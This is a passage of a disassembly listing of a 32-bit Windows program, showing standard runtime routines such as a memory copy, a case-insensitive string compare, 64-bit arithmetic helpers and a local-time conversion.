		dd offset loc_41928C
; ---------------------------------------------------------------------------


loc_41928C:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_419294:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41929C:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4192A4:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4192AC:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4192B4:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4192BC:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4192CF:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190:off_41926Co
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4192D8	dd offset loc_4192E8	; DATA XREF: sub_419190+35r
					; sub_419190+92r ...
		dd offset loc_4192F0
		dd offset loc_4192FC
		dd offset loc_419310
; ---------------------------------------------------------------------------


loc_4192E8:				; CODE XREF: sub_419190+35j
					; sub_419190+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4192F0:				; CODE XREF: sub_419190+35j
					; sub_419190+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4192FC:				; CODE XREF: sub_419190+35j
					; sub_419190+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419310:				; CODE XREF: sub_419190+35j
					; sub_419190+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419328:				; CODE XREF: sub_419190+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41935C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419350
		std
		rep movsd
		cld
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419350:				; CODE XREF: sub_419190+1B1j
					; sub_419190+208j ...
		neg	ecx
		jmp	off_419420[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41935C:				; CODE XREF: sub_419190+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_419374
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_419374+4[eax*4]
; ---------------------------------------------------------------------------


loc_419374:				; CODE XREF: sub_419190+1D6j
					; DATA XREF: sub_419190+1DDr
		jmp	off_419470[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebx-6C57FFBFh], dl
		inc	ecx
		add	al, dl
		xchg	eax, ebx
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_419350
		std
		rep movsd
		cld
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_419350
		std
		rep movsd
		cld
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_419350
		std
		rep movsd
		cld
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419424
		dd offset loc_41942C
		dd offset loc_419434
		dd offset loc_41943C
		dd offset loc_419444
		dd offset loc_41944C
		dd offset loc_419454
off_419420	dd offset loc_419467	; DATA XREF: sub_419190+1C2r
; ---------------------------------------------------------------------------


loc_419424:				; DATA XREF: sub_419190+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41942C:				; DATA XREF: sub_419190+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_419434:				; DATA XREF: sub_419190+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41943C:				; DATA XREF: sub_419190+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_419444:				; DATA XREF: sub_419190+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41944C:				; DATA XREF: sub_419190+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_419454:				; DATA XREF: sub_419190+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419467:				; CODE XREF: sub_419190+1C2j
					; DATA XREF: sub_419190:off_419420o
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_419470	dd offset loc_419480	; DATA XREF: sub_419190+1B7r
					; sub_419190:loc_419374r ...
		dd offset loc_419488
		dd offset loc_419498
		dd offset loc_4194AC
; ---------------------------------------------------------------------------


loc_419480:				; CODE XREF: sub_419190+1B7j
					; sub_419190:loc_419374j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419488:				; CODE XREF: sub_419190+1B7j
					; sub_419190:loc_419374j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419498:				; CODE XREF: sub_419190+1B7j
					; sub_419190:loc_419374j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4194AC:				; CODE XREF: sub_419190+1B7j
					; sub_419190:loc_419374j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_419190	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194C5	proc near		; CODE XREF: sub_40C896+34p
					; sub_40C896+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417A3D
		pop	ecx
		pop	ecx
		retn
sub_4194C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194D3	proc near		; CODE XREF: sub_419540+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4D9D74
		call	sub_41E0F8
		mov	edx, dword_4D9D74
		pop	ecx
		mov	ecx, dword_4D9D70
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_419532
		push	edx
		call	sub_41E0F8
		add	eax, 10h
		push	eax
		push	dword_4D9D74
		call	sub_4178D8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419515
		retn
; ---------------------------------------------------------------------------


loc_419515:				; CODE XREF: sub_4194D3+3Fj
		mov	ecx, dword_4D9D70
		sub	ecx, dword_4D9D74
		mov	dword_4D9D74, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4D9D70, ecx


loc_419532:				; CODE XREF: sub_4194D3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4D9D70, 4
		retn
sub_4194D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419540	proc near		; CODE XREF: sub_40C983+1Ap
					; sub_42224E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4194D3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_419540	endp


; =============== S U B	R O U T	I N E =======================================



sub_419552	proc near		; DATA XREF: .nsp0:00425020o
		push	80h
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		mov	dword_4D9D74, eax
		jnz	short loc_419573
		push	18h
		call	sub_419D79
		mov	eax, dword_4D9D74
		pop	ecx


loc_419573:				; CODE XREF: sub_419552+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4D9D74
		mov	dword_4D9D70, eax
		retn
sub_419552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419581	proc near		; CODE XREF: sub_40CAA5+1B0p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_423134	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42318C	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4D873A
		jnz	short loc_4195E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4D8738
		jnz	short loc_4195E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4D8736
		jnz	short loc_4195E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4D8732
		jnz	short loc_4195E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4D8730
		jnz	short loc_4195E6
		mov	eax, dword_4D8728
		jmp	short loc_41962B
; ---------------------------------------------------------------------------


loc_4195E6:				; CODE XREF: sub_419581+28j
					; sub_419581+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_423188	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419613
		cmp	eax, 2
		jnz	short loc_41960F
		cmp	[ebp+var_32], 0
		jz	short loc_41960F
		cmp	[ebp+var_24], 0
		jz	short loc_41960F
		push	1
		pop	eax
		jmp	short loc_419616
; ---------------------------------------------------------------------------


loc_41960F:				; CODE XREF: sub_419581+7Aj
					; sub_419581+81j ...
		xor	eax, eax
		jmp	short loc_419616
; ---------------------------------------------------------------------------


loc_419613:				; CODE XREF: sub_419581+75j
		or	eax, 0FFFFFFFFh


loc_419616:				; CODE XREF: sub_419581+8Cj
					; sub_419581+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4D8730
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4D8728, eax
		pop	esi


loc_41962B:				; CODE XREF: sub_419581+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41E121
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41965B
		mov	[ecx], eax

locret_41965B:				; CODE XREF: sub_419581+D6j
		leave
		retn
sub_419581	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419660	proc near		; CODE XREF: sub_40CAA5+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4D8780
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4196B3
		mov	al, 0FFh
		mov	edi, edi


loc_41967C:				; CODE XREF: sub_419660+28j
					; sub_419660+48j
		or	al, al
		jz	short loc_4196AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41967C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41967C
		sbb	al, al
		sbb	al, 0FFh


loc_4196AE:				; CODE XREF: sub_419660+1Ej
		movsx	eax, al
		jmp	short loc_4196E7
; ---------------------------------------------------------------------------


loc_4196B3:				; CODE XREF: sub_419660+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_4196BC:				; CODE XREF: sub_419660+68j
					; sub_419660+80j
		or	al, al
		jz	short loc_4196E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4196BC
		push	eax
		push	ebx
		call	sub_419A9C
		mov	ebx, eax
		add	esp, 4
		call	sub_419A9C
		add	esp, 4
		cmp	bl, al
		jz	short loc_4196BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4196E7:				; CODE XREF: sub_419660+51j
					; sub_419660+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_419660	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196EC	proc near		; CODE XREF: sub_41088E+26Ep
					; sub_41088E+37Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_419768
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41970B
		cmp	edi, 1
		jz	short loc_41970B
		cmp	edi, 2
		jnz	short loc_419768


loc_41970B:				; CODE XREF: sub_4196EC+13j
					; sub_4196EC+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_419722
		push	esi
		call	sub_41E27D
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_419722:				; CODE XREF: sub_4196EC+27j
		push	esi
		call	sub_419EDB
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_419737
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41974B
; ---------------------------------------------------------------------------


loc_419737:				; CODE XREF: sub_4196EC+42j
		test	al, 1
		jz	short loc_41974B
		test	al, 8
		jz	short loc_41974B
		test	ah, 4
		jnz	short loc_41974B
		mov	dword ptr [esi+18h], 200h


loc_41974B:				; CODE XREF: sub_4196EC+49j
					; sub_4196EC+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E1E3
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_419775
; ---------------------------------------------------------------------------


loc_419768:				; CODE XREF: sub_4196EC+Bj
					; sub_4196EC+1Dj
		mov	dword_4D86D0, 16h
		or	eax, 0FFFFFFFFh


loc_419775:				; CODE XREF: sub_4196EC+7Aj
		pop	edi
		pop	esi
		retn
sub_4196EC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419780	proc near		; CODE XREF: sub_4114BF+19Ep
					; sub_41221C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_419799
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_419799:				; CODE XREF: sub_419780+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_419780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197B4	proc near		; CODE XREF: sub_414432+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_423098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4197D4
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		call	sub_41BEC4
		pop	ecx


loc_4197D0:				; CODE XREF: sub_4197B4+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4197D4:				; CODE XREF: sub_4197B4+Dj
		test	al, 1
		jz	short loc_4197F5
		test	[esp+arg_4], 2
		jz	short loc_4197F5
		mov	dword_4D86D0, 0Dh
		mov	dword_4D86D4, 5
		jmp	short loc_4197D0
; ---------------------------------------------------------------------------


loc_4197F5:				; CODE XREF: sub_4197B4+22j
					; sub_4197B4+29j
		xor	eax, eax
		retn
sub_4197B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419800	proc near		; CODE XREF: sub_41444C+3Fp
					; sub_4172B2+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419822
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_419863
; ---------------------------------------------------------------------------


loc_419822:				; CODE XREF: sub_419800+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_419830:				; CODE XREF: sub_419800+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419830
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41985E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41985E
		jb	short loc_41985F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41985F


loc_41985E:				; CODE XREF: sub_419800+4Ej
					; sub_419800+54j
		dec	esi


loc_41985F:				; CODE XREF: sub_419800+56j
					; sub_419800+5Cj
		xor	edx, edx
		mov	eax, esi


loc_419863:				; CODE XREF: sub_419800+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419870	proc near		; CODE XREF: sub_41444C+2Dp
					; sub_4172B2+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_419891
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4198E1
; ---------------------------------------------------------------------------


loc_419891:				; CODE XREF: sub_419870+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41989F:				; CODE XREF: sub_419870+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41989F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4198CA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4198CA
		jb	short loc_4198D2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4198D2


loc_4198CA:				; CODE XREF: sub_419870+4Aj
					; sub_419870+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4198D2:				; CODE XREF: sub_419870+52j
					; sub_419870+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4198E1:				; CODE XREF: sub_419870+1Fj
		pop	ebx
		retn	10h
sub_419870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_41455C+5Fp
					; sub_41455C+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419911
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_419911:				; CODE XREF: sub_4198F0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41992D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41992D:				; CODE XREF: sub_4198F0+27j
		or	eax, eax
		jnz	short loc_419949
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41998A
; ---------------------------------------------------------------------------


loc_419949:				; CODE XREF: sub_4198F0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_419957:				; CODE XREF: sub_4198F0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_419957
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_419985
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_419985
		jb	short loc_419986
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_419986


loc_419985:				; CODE XREF: sub_4198F0+85j
					; sub_4198F0+8Bj
		dec	esi


loc_419986:				; CODE XREF: sub_4198F0+8Dj
					; sub_4198F0+93j
		xor	edx, edx
		mov	eax, esi


loc_41998A:				; CODE XREF: sub_4198F0+57j
		dec	edi
		jnz	short loc_419994
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419994:				; CODE XREF: sub_4198F0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999A	proc near		; CODE XREF: sub_414BB2+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43AD8C, 1
		jle	short loc_4199B1
		push	4
		push	[esp+4+arg_0]
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4199B1:				; CODE XREF: sub_41999A+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43AB80
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41999A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199C2	proc near		; CODE XREF: sub_41BFF5+76p
					; sub_41BFF5+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43AD8C, 1
		jle	short loc_4199D9
		push	8
		push	[esp+4+arg_0]
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4199D9:				; CODE XREF: sub_4199C2+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43AB80
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_4199C2	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_419A3C
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_419A3D
		test	eax, 1
		jz	short loc_419A1D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_419A6A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_419A3A


loc_419A1D:				; CODE XREF: .nsp0:00419A10j
					; .nsp0:00419A38j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_419A6A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_419A6A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_419A1D


loc_419A3A:				; CODE XREF: .nsp0:00419A1Bj
					; .nsp0:00419A74j
		pop	edi
		pop	esi

locret_419A3C:				; CODE XREF: .nsp0:004199F6j
		retn
; ---------------------------------------------------------------------------


loc_419A3D:				; CODE XREF: .nsp0:00419A09j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419A72
		repe cmpsd
		jz	short loc_419A72
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419A65
		cmp	ch, dh
		jnz	short loc_419A65
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419A65
		cmp	ch, dh


loc_419A65:				; CODE XREF: .nsp0:00419A53j
					; .nsp0:00419A57j ...
		mov	eax, 0


loc_419A6A:				; CODE XREF: .nsp0:00419A16j
					; .nsp0:00419A23j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419A72:				; CODE XREF: .nsp0:00419A45j
					; .nsp0:00419A49j
		test	eax, eax
		jz	short loc_419A3A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419A65
		dec	eax
		jz	short loc_419A99
		cmp	dh, ch
		jnz	short loc_419A65
		dec	eax
		jz	short loc_419A99
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419A65
		dec	eax


loc_419A99:				; CODE XREF: .nsp0:00419A7Fj
					; .nsp0:00419A86j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A9C	proc near		; CODE XREF: sub_41513D+6p
					; sub_41515B+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4D8788, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_419AC9
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_419B62
		cmp	eax, 5Ah
		jg	loc_419B62
		add	eax, 20h
		jmp	loc_419B62
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_419A9C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419AFD
		cmp	dword_43AD8C, esi
		jle	short loc_419AEB
		push	esi
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_419AF5
; ---------------------------------------------------------------------------


loc_419AEB:				; CODE XREF: sub_419A9C+42j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_419AF5:				; CODE XREF: sub_419A9C+4Dj
		test	eax, eax
		jnz	short loc_419AFD


loc_419AF9:				; CODE XREF: sub_419A9C+ADj
		mov	eax, ebx
		jmp	short loc_419B62
; ---------------------------------------------------------------------------


loc_419AFD:				; CODE XREF: sub_419A9C+3Aj
					; sub_419A9C+5Bj
		mov	edx, off_43AB80
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419B21
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_419B2A
; ---------------------------------------------------------------------------


